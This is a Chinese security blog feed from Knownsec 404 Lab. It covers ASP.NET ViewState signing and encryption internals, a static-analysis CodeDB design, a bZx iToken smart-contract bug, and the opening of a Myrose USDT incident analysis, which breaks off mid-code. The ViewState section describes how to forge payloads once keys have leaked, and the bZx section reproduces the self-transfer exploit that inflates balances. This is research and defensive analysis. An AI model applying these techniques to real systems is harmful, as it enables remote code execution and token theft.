细细观察会发现,由于使用了AES/3DES签名算法导致进入 EncryptOrDecryptData () 时,第6个参数 useValidationSymAlgo 为true。意义何在呢?因为先进入GetEncodedData() 函数,说明没有开启加密功能,此时由于使用的是AES/3DES签名算法,导致需要在签名后再次EncryptOrDecryptData () 函数。进入EncryptOrDecryptData() 就需要决定使用什么加密算法。所以第6个参数为true,表示加密使用和签名同样的算法。另外多说一句,这种情况下会有两次签名,在GetEncodedData() 里一次,进入EncryptOrDecryptData() 后又一次(后面会看到)。

下面代码将有关解密和校验的操作隐去,只介绍加密与签名的部分。

// 541~543行
System.IO.MemoryStream ms = new System.IO.MemoryStream();
ICryptoTransform cryptoTransform = GetCryptoTransform(fEncrypt, useValidationSymAlgo, useLegacyMode);
CryptoStream cs = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write);

这一段是先调用GetCryptoTransform 获取加密工具,而后通过CryptoStream 将数据流链接到加密转换流。不了解这一过程的可以查看微软相关文档

关键在于GetCryptoTransform() 是如何选择加密工具的?该函数的3个参数中似乎并无算法相关。观其代码:

private static ICryptoTransform GetCryptoTransform(bool fEncrypt, bool useValidationSymAlgo, bool legacyMode)
{
    SymmetricAlgorithm algo = (legacyMode ? s_oSymAlgoLegacy : (useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption));
    lock(algo)
        return (fEncrypt ? algo.CreateEncryptor() : algo.CreateDecryptor());
}

algo 表示相应的算法类,那么关键便是 s_oSymAlgoValidation 和 s_oSymAlgoDecryption,察其来历:

ConfigureEncryptionObject() 函数:

switch (Decryption)
{
case "3DES":
    s_oSymAlgoDecryption = CryptoAlgorithms.CreateTripleDES();
    break;
case "DES":
    s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();
    break;
case "AES":
    s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();
    break;
case "Auto":
    if (dKey.Length == 8) {
        s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();
    } else {
        s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();
    }
    break;
}

if (s_oSymAlgoDecryption == null) // Shouldn't happen!
    InitValidationAndEncyptionSizes();

switch(Validation)
{
case MachineKeyValidation.TripleDES:
    if (dKey.Length == 8) {
        s_oSymAlgoValidation = CryptoAlgorithms.CreateDES();
    } else {
        s_oSymAlgoValidation = CryptoAlgorithms.CreateTripleDES();
    }
    break;
case MachineKeyValidation.AES:
    s_oSymAlgoValidation = CryptoAlgorithms.CreateAes();
    break;
}

看来在网站初始化时就已将相应的加密类分配好了。

继续观察 EncryptOrDecryptData() 的代码:

// 第545~579行
// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.
// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).
// MSRC 10405: If signData is set to true, we must generate an IV.
bool createIV = signData || ((ivType != IVType.None) &amp;&amp; (CompatMode > MachineKeyCompatibilityMode.Framework20SP1));

if (fEncrypt &amp;&amp; createIV)
{
    int ivLength = (useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption);
    byte[] iv = null;

    switch (ivType) {
        case IVType.Hash:
            // iv := H(buf)
            iv = GetIVHash(buf, ivLength);
            break;

        case IVType.Random:
            // iv := [random]
            iv = new byte[ivLength];
            RandomNumberGenerator.GetBytes(iv);
            break;
    }

    Debug.Assert(iv != null, "Invalid value for IVType: " + ivType.ToString("G"));
    cs.Write(iv, 0, iv.Length);
}

cs.Write(buf, start, length);
if (fEncrypt &amp;&amp; modifier != null)
{
    cs.Write(modifier, 0, modifier.Length);
}

cs.FlushFinalBlock();
byte[] paddedData = ms.ToArray();

这一段开头是在生成IV。IV是加密时使用的初始向量,应保证其随机性,防止重复IV导致密文被破解。

  • ivLength为64。这里随机生成64个字节作为iv。
  • 三次调用 cs.Write(),分别写入iv、buf、modifier。cs即为前面生成的CryptoStream类实例,用于将数据流转接到加密流。这里与我们前面所说的公式 E(iv + buf + modifier) 对应上了。
  • 调用ms.ToArray() ,即返回加密完成后的生成的字节序列。

继续观察 EncryptOrDecryptData() 的代码:

// 第550~644行
// DevDiv Bugs 137864: Strip IV from beginning of unencrypted data
if (!fEncrypt &amp;&amp; createIV)
{
    // strip off the first bytes that were random bits
    ...
}
else
{
    bData = paddedData;
}
...
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)
// If fEncrypt = false (decrypting), bData := plaintext

if (fEncrypt &amp;&amp; signData) {
    byte[] hmac = HashData(bData, null, 0, bData.Length);
    byte[] bData2 = new byte[bData.Length + hmac.Length];

    Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length);
    Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length);
    bData = bData2;
}

// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))
// If fEncrypt = false (decrypting), bData := plaintext

// And we're done
return bData;

这里是最后一部,将加密后生成的字节序列传给HashData,让其生成hash值,并缀在字节序列后面。

这就与前面的公式 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 对应上了。

看完 EncryptOrDecryptData() 函数的代码,我么也明白了其流程,总结下来其实就一个公式,没错就是 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 。

7. modifier 的来历

在前面进行签名和加密的过程中,都使用了一个关键变量叫做modifier,该变量同密钥一起用于签名和加密。该变量来自于 GetMacKeyModifier() 函数:

// This will return the MacKeyModifier provided in the LOSFormatter constructor or
// generate one from Page if EnableViewStateMac is true.
private byte[] GetMacKeyModifier() {
    if (_macKeyBytes == null) {
        // Only generate a MacKeyModifier if we have a page
        if (_page == null) {
            return null;
        }

        // Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync

        // Use the page's directory and class name as part of the key (ASURT 64044)
        uint pageHashCode = _page.GetClientStateIdentifier();

        string viewStateUserKey = _page.ViewStateUserKey;
        if (viewStateUserKey != null) {
            // Modify the key with the ViewStateUserKey, if any (ASURT 126375)
            int count = Encoding.Unicode.GetByteCount(viewStateUserKey);
            _macKeyBytes = new byte[count + 4];
            Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);

        }
        else {
            _macKeyBytes = new byte[4];
        }

        _macKeyBytes[0] = (byte)pageHashCode;
        _macKeyBytes[1] = (byte)(pageHashCode >> 8);
        _macKeyBytes[2] = (byte)(pageHashCode >> 16);
        _macKeyBytes[3] = (byte)(pageHashCode >> 24);
    }
    return _macKeyBytes;
}

函数流程:

  1. 函数开头先通过 _page.GetClientStateIdentifier 计算出一个 pageHashCode;
  2. 如果有viewStateUserKey,则modifier = pageHashCode + ViewStateUsereKey;
  3. 如果没有viewStateUserKey,则modifier = pageHashCode

先看pageHashCode 来历:

// This is a non-cryptographic hash code that can be used to identify which Page generated
// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs
// are assumed to be known by all parties.
internal uint GetClientStateIdentifier() {
    // Use non-randomized hash code algorithms instead of String.GetHashCode.

    // Use the page's directory and class name as part of the key (ASURT 64044)
    // We need to make sure that the hash is case insensitive, since the file system
    // is, and strange view state errors could otherwise happen (ASURT 128657)
    int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true);
    pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true);

    return (uint)pageHashCode;
}

从注释中也可以看出,计算出directory 和 class name 的hash值,相加并返回。这样pageHashCode 就有4个字节了。所以我们可以手动计算一个页面的 pageHashCode,directory 和 class name 应当分别是网站集路径和网站集合名称。除此之外也可以从页面中的隐藏字段"__VIEWSTATEGENERATOR" 中提取。便如下图:

"__VIEWSTATEGENERATOR" 与 pageHashCode 的关系在这里:

再看ViewStateUserKey 的来历:

按照官方说法:ViewStateUserKey 即 :在与当前页面关联的ViewState 变量中为单个用户分配标识符。

可见,ViewStateUserKey 是一个随机字符串值,且要保证与用户关联。如果网站使用了ViewStateUserKey,我们应当在SessionID 或 cookie 中去猜。在CVE-20202-0688 中,便是取 SessionID 作为ViewStateUserKey。

8. 伪造ViewState

经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造 ViewState。当然了伪造 ViewState 仍然需要 泄露web.config,知晓其 密钥与算法。

  1. 如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。
  2. 如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。

换种表达方式,无论使用什么签名算法,无论是否开启加密功能,我们伪造ViewState时,就按照没有开启加密功能情况下的正常步骤,去伪造ViewState。

9.附录:

[1] ysoserial.net

https://github.com/pwntester/ysoserial.net

[2] viwgen (python 写的viewstate生成工具,不依赖.NET,方便自动化脚本使用)

https://github.com/0xacb/viewgen

[3] 什么是View State 及其在ASP.NET中的工作方式

https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/

[4] 微软官方文档:ASP.NET服务器控件概述

https://docs.microsoft.com/zh-cn/troubleshoot/aspnet/server-controls

[5]《MSDN杂志》文章:ViewState 安全

https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security

[6] 安全通告KB2905247

https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247?redirectedfrom=MSDN

[7] 使用ViewState

http://appetere.com/post/working-with-viewstate

[8] Exhange CVE-2020-0688

https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1386/

]]>
https://blog.knownsec.com/2020/11/net-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8b-viewstate-%e5%88%a9%e7%94%a8/feed/ 0
构造一个 CodeDB 来探索全新的白盒静态扫描方案 https://blog.knownsec.com/2020/11/%e6%9e%84%e9%80%a0%e4%b8%80%e4%b8%aa-codedb-%e6%9d%a5%e6%8e%a2%e7%b4%a2%e5%85%a8%e6%96%b0%e7%9a%84%e7%99%bd%e7%9b%92%e9%9d%99%e6%80%81%e6%89%ab%e6%8f%8f%e6%96%b9%e6%a1%88/ https://blog.knownsec.com/2020/11/%e6%9e%84%e9%80%a0%e4%b8%80%e4%b8%aa-codedb-%e6%9d%a5%e6%8e%a2%e7%b4%a2%e5%85%a8%e6%96%b0%e7%9a%84%e7%99%bd%e7%9b%92%e9%9d%99%e6%80%81%e6%89%ab%e6%8f%8f%e6%96%b9%e6%a1%88/#respond Tue, 03 Nov 2020 02:58:05 +0000 https://blog.knownsec.com/?p=5137 作者:LoRexxar'@知道创宇404实验室
时间:2020年10月30日

前言

前段时间开源新版本KunLun-M的时候,写了一篇《从0开始聊聊自动化静态代码审计工具》的文章,里面分享了许多在这些年白盒静态扫描演变过程中出现的扫描思路、技术等等。在文章中我用了一个简单的例子描述了一下基于.QL的扫描思路,但实际在这个领域我可能只见过一个活的SemmleQL(也就是CodeQL的原型)。这篇文章中我也聊一聊这相关的东西,也分享一些我尝试探索的一些全新的静态扫描方案。

本文提到的小demo phpunserializechain作为星链计划的一员开源,希望能给相关的安全从业者带来帮助。

本文会提及大量的名词,其中如有解释错误或使用不当欢迎指正。

什么是.QL?

QL全称Query Language,是一种用于从数据库查询数据的语言。我们常见的SQL就是QL的一种,这是一个很常见的概念。

而.QL是什么呢?Wiki上的解释是,一种面向对象的查询语言,用于从关系数据库中检索数据。

而.QL又和静态分析有什么关系呢?我们需要理解一个概念叫做SCID。

SCID: Source Code in Database 是指一种将代码语法解析并储存进代码中的操作方法。而这种数据库我们可以简单的称之为CodeDB。

当我们通过一种方案生成了CodeDB之后,我们就需要构造一种QL语言来处理它。当然CodeQL正是一种实现了CodeDB并设计好了相应的QL语言的平台。而Semmle QL设计的查询语言就是一种.QL,它同时符合了几种特点其中包括SQL、Datalog、Eindhoven Quantifier Notation、Classes are Predicates其中涵盖了针对代码的不同逻辑而使用的多种解决方案。当然,本文并不是要讨论CodeQL,所以这里我们并不深入解释Semmle QL中的解决方案。

.QL的概念最早在2007年被提出,详情可以参考:

为什么使用.QL呢?

在《从0开始聊聊自动化静态代码审计工具》中我曾经把基于.QL的认为是未来白盒发展的主要趋势,其主要原因在于现代普遍使用的白盒核心技术存在许多的无解问题,在上一篇文章中,我主要用一些基于技术原理的角度解释了几种现代的扫描方案,今天我就从技术本身聊聊这其中的区别。

其实我在前文中提到的两种分析方式,无论是基于AST的分析、还是基于IR/CFG的分析方式,他们的区别只是技术基础不同,但分析的理论差异不大,我们可以粗略的将它们统一叫做Data-flow analysis,也就是数据流分析(污点分析可以算作是数据流分析的变种)。

数据流分析有很多种种类,其本质是流敏感的,且通常来说是路径不敏感的。当然,这并不是绝对的,我们可以按照敏感类型将其分类:

  • 流敏感分析:flow-sensitive,考虑语句的执行先后顺序,这种分析通常依赖CFG控制流图。
  • 路径敏感分析:path-sensitive,不仅考虑语句的执行顺序,还要分析路径的执行条件(比如if条件等),以确定是否存在可实际运行的执行路径。
  • 上下文敏感分析:context-sensitive,属于一种过程间分析,在分析函数调用目标时会考虑调用上下文。主要面向的的场景为同一个函数/方法在不同次调用/不同位置调用时上下文不同的情况。

当然,需要注意的是,这里仅指的是数据流分析的分类方式,与基于的技术原理无关,如果你愿意,你当然也可以基于AST来完成流敏感的分析工具。

在基于数据流的扫描方案中,如果能够完整的支持各种语法充足的分析逻辑,我们就可以针对每一种漏洞分析相应的数据流挖掘漏洞。可惜事实是,问题比想象的还要多。这里我举几个可能被解决、也可能被暂时解决、也可能没人能解决的问题作为例子。

1、如何判断全局过滤方案?
2、如何处理专用的过滤函数未完全过滤的情况?
3、如何审计深度重构的框架?
4、如何扫描储存型xss?
5、如何扫描二次注入?
6、如何扫描eval中出现的伪代码逻辑?

现代扫描方案不断进步的同时,或许许多问题都得到一定程度的解决,但可惜的是,这就像是扫描方案与开发人员的博弈一样,我们永远致力于降低误报率、漏报率却不能真正的解决,这样一来好像问题就变得又无解了起来……

当然,.QL的概念的扫描方案并不是为了解决这些问题而诞生的,可幸运的是, 从我的视角来看,基于.QL概念的扫描方案将静态扫描走到了新的路中,让我们不再拘泥于探讨如何处理流敏感、约束条件等等。

基于.QL的扫描方案,将引擎的实现和规则开发、使用者分割开来,流分析等数据流相关的分析由引擎以及引擎的开发者来完成,使用者只需要关注规则的编写即可,当然,如何通过定义“谓词”来编写高级规则又或是不断通过多种高级规则来完善规则库体系,才是基于.QL的扫描方案真正的使用姿势。

值得注意的是,我们很难在开发层面就区分出基于.QL的扫描方案以及现在普遍的分析方案的区别,我们同样需要关注代码流敏感又或是各种限制条件,所谓的CodeDB也只是一种技术手段,使用CodeDB也并不等价于基于.QL的扫描方案。换言之,可能源伞等著名的白盒扫描器中,将多种语言生成的IR统一分析,何尝不是另一种Code DB呢?

事实也证明,与其说.QL改进了现代诸多白盒分析方案,不如说在当年白盒面临发展的关口时,大部分人选择了走向以数据流分析为主的方向,而Semmle QL选择了完善基础和引擎。而当我们走到现在这个关口遇到瓶颈的时期,不妨尝试看看别的思考思路,这也是这篇文章的初衷。

其核心的原理就在于通过把每一个操作具象化模板化,并储存到数据库中。比如

a($b);

这个语句被具象为

Function-a  FunctionCall ($b)

然后这样的三元组我们可以作为数据库中的一条数据。

而当我们想要在代码中寻找执行a函数的语句时,我们就可以直接通过

select * from code_db from where type = 'FunctionCall' and node_name = 'Function-a';

这样的一条语句可以寻找到代码中所有的执行a函数的节点。

当然,静态分析不可能仅靠这样的简单语句就找到漏洞,但事实就是,当我们针对CodeDB做分析的时候,我们既保证了强代码执行顺序,又可以跨越多重壁垒直接从sink点出发做分析,当相应的QL支持越来越多的高级查询又或者是自定义高级规则之后,或许可以直接实现。

select * where {
    Source : $_GET,
    Sink : echo,
    is_filterxss : False,
}

也正是因为如此,CodeQL的出现,被许多人认为是跨时代的出现,静态分析从底层的代码分析,需要深入到编译过程中的方式,变成了在平台上巧妙构思的规则语句,或许从现在来说,CodeQL这种先铺好底层的方式并不能直接的看到效果,可幸运的是,作为技术本身而言,我们又有了新的前进方向。

下面的文章,我们就跟着我前段时间的一些短期研究成果,探索一下到底如何实现一个合理的CodeDB。

如何实现一个合理的CodeDB呢?

在最早只有Semmle QL的时候我就翻看过一些paper,到后来的LGTM,再到后来的CodeQL我都有一些了解,后来CodeQL出来的时候,翻看过一些人写的规则都距离CodeQL想要达到的目标相去甚远,之后就一直想要自己试着写一个类似的玩具试试看。这次在更新KunLun-M的过程中我又多次受制于基于AST的数据流分析的种种困难,于是有了这次的计划诞生。

为了践行我的想法,这次我花了几个星期的事件设计了一个简易版本的CodeDB,并基于CodeDB写了一个简单的寻找php反序列化链的工具,工具源码详见:

在聊具体的实现方案之前,我们需要想明白CodeDB到底需要记录什么?

首先,每一行代码的执行顺序、所在文件是基本信息。其次当前代码所在的域环境、代码类型、代码相关的信息也是必要的条件。

在这个基础上,我尝试使用域定位、执行顺序、源节点、节点类型、节点信息这5个维度作为五元组储存数据。举一个简单的例子:

test.php

&lt;?php
$a = $_GET['a'];

if (1&gt;0){
    echo $b;
}

上面的代码转化的结果为

test_php 1 Variable-$a Assignment ArrayOffset-$_GET@a
test_php 2 if If ['1', '&gt;', '0']
test_php.if 0 1 BinaryOp-&gt; 0
test_php.if 1 echo FunctionCall ('$a',)

由于这里我主要是一个尝试,所以我直接依赖SQL来做查询并将分析逻辑直接从代码实现,这里我们直接用sql语句做查询。

select * from code_db where node_type='FunctionCall' and node_name='echo'

用上述语句查询出echo语句,然后分析节点信息得到参数为$a

然后通过

select * from code_db where node_locate = 'test_php.if' and node_sort=0

来获取if的条件信息,并判断为真。

紧接着我们可以通过SQL语句为

select * from code_db where node_name='$a' and node_type='Assignment' and node_locate like 'test_php%' and node_id &gt;= 4

得到赋值语句,经过判断就可以得到变量来源于$_GET

当然,逻辑处理远比想像的要复杂,这里我们举了一个简单的例子做实例,通过sort为0记录参数信息和条件信息,如果出现同一个语句中的多条指令,可能会出现sort相同的多个节点,还需要sort和id共同处理...

这里我尝试性的构造了基于五元组的CodeDB生成方案,并通过一些SQL语句配合代码逻辑分析,我们得到了想要扫描结果。事实上,虽然这种基于五元组的CodeDB仍不成熟,但我们的确通过这种方式构造了一种全新的扫描思路,如果CodeDB构造成熟,然后封装一些基础的查询逻辑,我们就可以大幅度解决我在KunLun-M中遇到的许多困境。

写在最后

这篇文章用了大量的篇幅解释了什么是基于.QL的扫描方案,聊了聊许多现代代码审计遇到的问题、困境。在这个基础上,我也做了一些尝试,这里讲的这种基于五元组的CodeDB生成方案属于我最近探索的比较有趣的生成方案,在这个基础上,我也探索了一个简单的查询php反序列化的小插件,后续可能花费比较大的代价去做优化并定制一些基础的查询函数,希望这篇文章能给阅读的你带来一些收获。

如果对相应的代码感兴趣,可以持续关注KunLun-M的更新

ref


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1387/

]]>
https://blog.knownsec.com/2020/11/%e6%9e%84%e9%80%a0%e4%b8%80%e4%b8%aa-codedb-%e6%9d%a5%e6%8e%a2%e7%b4%a2%e5%85%a8%e6%96%b0%e7%9a%84%e7%99%bd%e7%9b%92%e9%9d%99%e6%80%81%e6%89%ab%e6%8f%8f%e6%96%b9%e6%a1%88/feed/ 0
DeFi 项目 bZx-iToken 盗币事件分析 https://blog.knownsec.com/2020/11/defi-%e9%a1%b9%e7%9b%ae-bzx-itoken-%e7%9b%97%e5%b8%81%e4%ba%8b%e4%bb%b6%e5%88%86%e6%9e%90/ https://blog.knownsec.com/2020/11/defi-%e9%a1%b9%e7%9b%ae-bzx-itoken-%e7%9b%97%e5%b8%81%e4%ba%8b%e4%bb%b6%e5%88%86%e6%9e%90/#respond Tue, 03 Nov 2020 02:56:45 +0000 https://blog.knownsec.com/?p=5135 作者:昏鸦@知道创宇404区块链安全研究团队
时间:2020年9月14日

发生了什么

iToken是bZx推出的一种代币,今天早些时候,bZx官方发推表示发现了一些iTokens的安全事件,随后有研究员对比iToken合约源码改动,指出其中存在安全问题,可被攻击用于薅羊毛。

什么是iToken

iToken是bZx推出的类似iDAI、iUSDC的累积利息的代币,当持有时,其价值会不断上升。iToken代表了借贷池中的份额,该池会随借贷人支付利息而扩大。iToken同样能用于交易、用作抵押、或由开发人员组成结构化产品,又或者用于安全价值存储。

分析

根据推文指出的代码,问题存在于_internalTransferFrom函数中,未校验fromto地址是否不同。

若传入的fromto地址相同,在前后两次更改余额时balances[_to] = _balancesToNew将覆盖balances[_from] = _balancesFromNew的结果,导致传入地址余额无代价增加。

uint256 _balancesFrom = balances[_from];
uint256 _balancesTo = balances[_to];

require(_to != address(0), "15");

uint256 _balancesFromNew = _balancesFrom.sub(_value, "16");
balances[_from] = _balancesFromNew;

uint256 _balancesToNew = _balancesTo.add(_value);
balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to相同时

漏洞复现

截取transferFrom_internalTransferFrom函数作演示,测试合约代码如下:

pragma solidity ^0.5.0;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b &lt;= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Test {
    using SafeMath for uint256;
    uint256 internal _totalSupply;
    mapping(address => mapping (address => uint256)) public allowed;
    mapping(address => uint256) internal balances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        require(spender != address(0));
        allowed[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value)
        external
        returns (bool)
    {
        return _internalTransferFrom(
            _from,
            _to,
            _value,
            allowed[_from][msg.sender]
            /*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?
                uint256(-1) :
                allowed[_from][msg.sender]*/
        );
    }

    function _internalTransferFrom(
        address _from,
        address _to,
        uint256 _value,
        uint256 _allowanceAmount)
        internal
        returns (bool)
    {
        if (_allowanceAmount != uint256(-1)) {
            allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14");
        }

        uint256 _balancesFrom = balances[_from];
        uint256 _balancesTo = balances[_to];

        require(_to != address(0), "15");

        uint256 _balancesFromNew = _balancesFrom
            .sub(_value, "16");
        balances[_from] = _balancesFromNew;

        uint256 _balancesToNew = _balancesTo
            .add(_value);
        balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to一致时

        // handle checkpoint update
        // uint256 _currentPrice = tokenPrice();

        // _updateCheckpoints(
        //     _from,
        //     _balancesFrom,
        //     _balancesFromNew,
        //     _currentPrice
        // );
        // _updateCheckpoints(
        //     _to,
        //     _balancesTo,
        //     _balancesToNew,
        //     _currentPrice
        // );

        emit Transfer(_from, _to, _value);
        return true;
    }
}

remix部署调试,0x1e9c2524Fd3976d8264D89E6918755939d738Ed5部署合约,拥有代币总量,授权0x28deb6CA32C274f7DabF2572116863f39b4E65D9500代币额度

通过0x28deb6CA32C274f7DabF2572116863f39b4E65D9账户,调用transferFrom函数,_from_to传入地址0x1e9c2524Fd3976d8264D89E6918755939d738Ed5_value传入授权的500

最后查看0x1e9c2524Fd3976d8264D89E6918755939d738Ed5地址余额,已增加500额度,超出代币发行总量。

综上,恶意用户可创建小号,通过不断授权给小号一定额度,使用小号频繁为大号刷代币,增发大量代币薅羊毛。

总结

针对本次事件,根本原因,还是没做好上线前的代码审计工作。由于区块链智能合约的特殊性,智能合约上线前务必做好完善的代码审计、风险分析的工作。

另外通过github搜索到其他项目也同样存在这个问题,务必提高警惕。


智能合约审计服务

针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:

区块链行业安全解决方案

黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。欢迎扫码咨询:

参考

https://bzx.network/blog/incident
https://twitter.com/k06a/status/1305223411615117322

Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1334/

]]>
https://blog.knownsec.com/2020/11/defi-%e9%a1%b9%e7%9b%ae-bzx-itoken-%e7%9b%97%e5%b8%81%e4%ba%8b%e4%bb%b6%e5%88%86%e6%9e%90/feed/ 0
波场 DeFi 项目 Myrose 无法提现 USDT 技术分析 https://blog.knownsec.com/2020/11/%e6%b3%a2%e5%9c%ba-defi-%e9%a1%b9%e7%9b%ae-myrose-%e6%97%a0%e6%b3%95%e6%8f%90%e7%8e%b0-usdt-%e6%8a%80%e6%9c%af%e5%88%86%e6%9e%90/ https://blog.knownsec.com/2020/11/%e6%b3%a2%e5%9c%ba-defi-%e9%a1%b9%e7%9b%ae-myrose-%e6%97%a0%e6%b3%95%e6%8f%90%e7%8e%b0-usdt-%e6%8a%80%e6%9c%af%e5%88%86%e6%9e%90/#respond Tue, 03 Nov 2020 02:55:45 +0000 https://blog.knownsec.com/?p=5133 作者:昏鸦,Al1ex@知道创宇404区块链安全研究团队
时间:2020年9月16日

事件起因

2020年9月14日晚20:00点,未经安全审计的波场最新Defi项目Myrose.finance登陆Tokenpocket钱包,首批支持JST、USDT、SUN、DACC挖矿,并将逐步开通ZEUS、PEARL、CRT等的挖矿,整个挖矿周期将共计产出8400枚ROSE,预计将分发给至少3000名矿工,ROSE定位于波场DeFi领域的基础资产,不断为持有者创造经济价值。

项目上线之后引来了众多的用户(高达5700多人)参与挖矿,好景不长,在20:09左右有用户在Telegram"Rose中文社区群"中发文表示USDT无法提现:

Telegram

截止发文为止,无法提现的USDT数量高达6,997,184.377651 USDT(约700万USDT),随后官方下线USDT挖矿项目。

https://tronscan.io/#/contract/TM9797VRM66LyKXq2TbxP1sNmuQWBrsnYw/token-balances
total_value

分析复现

我们直接通过模拟合约在remix上测试。

USDT模拟测试合约代码如下,USDT_Ethereum和USDT_Tron分别模拟两个不同平台的USDT代币合约,分别代表transfer函数有显式return true和无显式return true

pragma solidity ^0.5.0;

import "IERC20.sol";
import "SafeMath.sol";

contract USDT_Ethereum is IERC20 {
    using SafeMath for uint256;

    uint256 internal _totalSupply;

    mapping(address =&gt; uint256) internal _balances;
    mapping (address =&gt; mapping (address =&gt; uint)) private _allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function mint(address account, uint amount) external {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0));
        require(_value &lt;= _balances[msg.sender]);

        _balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
        _balances[_to] = _balances[_to].add(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }
    function transfer(address to, uint value) public returns (bool) {
        _transfer(msg.sender, to, value);
        return true;//显式return true
    }
    function transferFrom(address from, address to, uint value) public returns (bool) {
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));
        return true;
